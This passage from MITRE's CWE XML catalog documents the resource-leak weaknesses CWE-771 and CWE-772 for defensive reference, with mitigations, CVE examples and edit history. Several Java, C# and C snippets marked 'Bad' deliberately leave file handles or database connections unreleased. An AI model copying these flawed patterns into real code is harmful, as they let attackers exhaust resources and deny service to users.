               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Detection_Factors, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, Potential_Mitigations, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Description, Maintenance_Notes, Potential_Mitigations, Relationship_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Detection_Factors</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="771" Name="Missing Reference to Active Allocated Resource" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product does not properly maintain a reference to a resource that has been allocated, which prevents the resource from being reclaimed.</Description>
         <Extended_Description>This does not necessarily apply in languages or frameworks that automatically perform garbage collection, since the removal of all references may act as a signal that the resource is ready to be reclaimed.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="400" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (Other)</Impact>
               <Note>An attacker that can influence the allocation of resources that are not properly maintained could deplete the available resource pool and prevent all other processes from accessing the same type of resource.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-47">
               <Phase>Operation</Phase>
               <Phase>Architecture and Design</Phase>
               <Strategy>Resource Limitation</Strategy>
               <Description>
                  <xhtml:p>Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.</xhtml:p>
                  <xhtml:p>When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.</xhtml:p>
                  <xhtml:p>Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO42-C</Entry_ID>
               <Entry_Name>Close files when they are no longer needed</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM31-C</Entry_ID>
               <Entry_Name>Free dynamically allocated memory when no longer needed</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP14</Entry_ID>
               <Entry_Name>Failure to Release Resource</Entry_Name>
            </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 3-3</Entry_ID>
	      <Entry_Name>Req SR 7.2</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-1</Entry_ID>
	      <Entry_Name>Req SVV-1</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-2</Entry_ID>
	      <Entry_Name>Req CR 7.2</Entry_Name>
	    </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-05-13</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Maintenance_Notes, Relationships, Theoretical_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-25</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="772" Name="Missing Release of Resource after Effective Lifetime" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.</Description>
         <Extended_Description>When a resource is not released after use, it can allow attackers to cause a denial of service by causing the allocation of resources without triggering their release. Frequently-affected resources include memory, CPU, disk space, power or battery, etc.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="404" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="404" View_ID="1003" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="404" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="404" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Technology Class="Mobile" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (Other)</Impact>
               <Note>An attacker that can influence the allocation of resources that are not properly released could deplete the available resource pool and prevent all other processes from accessing the same type of resource.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-3">
               <Phase>Requirements</Phase>
               <Strategy>Language Selection</Strategy>
               <Description>
                  <xhtml:p>Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free resources in a function. If you allocate resources that you intend to free upon completion of the function, you must be sure to free the resources at all exit points for that function including error conditions.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-47">
               <Phase>Operation</Phase>
               <Phase>Architecture and Design</Phase>
               <Strategy>Resource Limitation</Strategy>
               <Description>
                  <xhtml:p>Use resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.</xhtml:p>
                  <xhtml:p>When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.</xhtml:p>
                  <xhtml:p>Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
           <Demonstrative_Example Demonstrative_Example_ID="DX-81">
               <Intro_Text>The following method never closes the new file handle. Given enough time, the Finalize() method for BufferReader should eventually call Close(), but there is no guarantee as to how long this action will take. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, the Operating System could use up all of the available file handles before the Close() function is called.</Intro_Text>
              <Example_Code Nature="Bad" Language="Java">
                <xhtml:div>private void processFile(string fName)<xhtml:br/>{<xhtml:div style="margin-left:1em;">BufferReader fil = new BufferReader(new FileReader(fName));<xhtml:br/>String line;<xhtml:br/>while ((line = fil.ReadLine()) != null)<xhtml:br/>{<xhtml:div style="margin-left:1em;">processLine(line);</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The good code example simply adds an explicit call to the Close() function when the system is done using the file. Within a simple example such as this the problem is easy to see and fix. In a real system, the problem may be considerably more obscure.</Body_Text>
              <Example_Code Nature="Good" Language="Java">
                <xhtml:div>private void processFile(string fName)<xhtml:br/>{<xhtml:div style="margin-left:1em;">BufferReader fil = new BufferReader(new FileReader(fName));<xhtml:br/>String line;<xhtml:br/>while ((line = fil.ReadLine()) != null)<xhtml:br/>{<xhtml:div style="margin-left:1em;">processLine(line);</xhtml:div>}<xhtml:br/>fil.Close();</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code attempts to open a new connection to a database, process the results returned by the database, and close the allocated SqlConnection object.</Intro_Text>
               <Example_Code Nature="Bad" Language="C#">
                  <xhtml:div>SqlConnection conn = new SqlConnection(connString);<xhtml:br/>SqlCommand cmd = new SqlCommand(queryString);<xhtml:br/>cmd.Connection = conn;<xhtml:br/>conn.Open();<xhtml:br/>SqlDataReader rdr = cmd.ExecuteReader();<xhtml:br/>HarvestResults(rdr);<xhtml:br/>conn.Connection.Close();</xhtml:div>
               </Example_Code>
               <Body_Text>The problem with the above code is that if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.</Body_Text>
            </Demonstrative_Example>
             <Demonstrative_Example Demonstrative_Example_ID="DX-82">
               <Intro_Text>This code attempts to open a connection to a database and catches any exceptions that may occur.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>try {<xhtml:div style="margin-left:1em;">Connection con = DriverManager.getConnection(some_connection_string);</xhtml:div>}<xhtml:br/>catch ( Exception e ) {<xhtml:div style="margin-left:1em;">log( e );</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-83">
               <Intro_Text>Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.</Intro_Text>
               <Example_Code Nature="Bad" Language="C#">
                  <xhtml:div>...<xhtml:br/>SqlConnection conn = new SqlConnection(connString);<xhtml:br/>SqlCommand cmd = new SqlCommand(queryString);<xhtml:br/>cmd.Connection = conn;<xhtml:br/>conn.Open();<xhtml:br/>SqlDataReader rdr = cmd.ExecuteReader();<xhtml:br/>HarvestResults(rdr);<xhtml:br/>conn.Connection.Close();<xhtml:br/>...</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-84">
               <Intro_Text>The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int decodeFile(char* fName) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>char buf[BUF_SZ];<xhtml:br/>FILE* f = fopen(fName, "r");<xhtml:br/>if (!f) {<xhtml:div style="margin-left:1em;">printf("cannot open %s\n", fName);<xhtml:br/>return DECODE_FAIL;</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>while (fgets(buf, BUF_SZ, f)) {<xhtml:div style="margin-left:1em;">if (!checkChecksum(buf)) {<xhtml:div style="margin-left:1em;">return DECODE_FAIL;</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">decodeBlock(buf);</xhtml:div>}</xhtml:div>}</xhtml:div>
                           </xhtml:div>}<xhtml:br/>fclose(f);<xhtml:br/>return DECODE_SUCCESS;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2007-0897</Reference>
               <Description>Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-0897</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0830</Reference>
               <Description>Sockets not properly closed when attacker repeatedly connects and disconnects from server.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0830</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-1127</Reference>
               <Description>Does not shut down named pipe connections if malformed data is sent.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1127</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2858</Reference>
               <Description>Chain: memory leak (CWE-404) leads to resource exhaustion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2858</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2054</Reference>
               <Description>Product allows exhaustion of file descriptors when processing a large number of TCP packets.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2054</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2122</Reference>
               <Description>Port scan triggers CPU consumption with processes that attempt to read data from closed sockets.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2122</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4103</Reference>
               <Description>Product allows resource exhaustion via a large number of calls that do not complete a 3-way handshake.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4103</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1372</Reference>
               <Description>Return values of file/socket operations not checked, allowing resultant consumption of file descriptors.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1372</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO42-C</Entry_ID>
               <Entry_Name>Close files when they are no longer needed</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM31-C</Entry_ID>
               <Entry_Name>Free dynamically allocated memory when no longer needed</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCSM">
                <Entry_ID>ASCSM-CWE-772</Entry_ID>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
                <Entry_ID>ASCRM-CWE-772</Entry_ID>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP14</Entry_ID>
               <Entry_Name>Failure to Release Resource</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="469"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-CWE-772"/>
            <Reference External_Reference_ID="REF-962" Section="ASCSM-CWE-772"/>
         </References>
         <Notes>
            <Note Type="Maintenance">"Resource exhaustion" (CWE-400) is currently treated as a weakness, although it is more like a category of weaknesses that all have the same type of consequence. While this entry treats CWE-400 as a parent in view 1000, the relationship is probably more appropriately described as a chain.</Note>
            <Note Type="Theoretical">Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect one of the underlying weaknesses that enable these attacks (or consequences) to take place.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-05-13</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Common_Consequences, References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
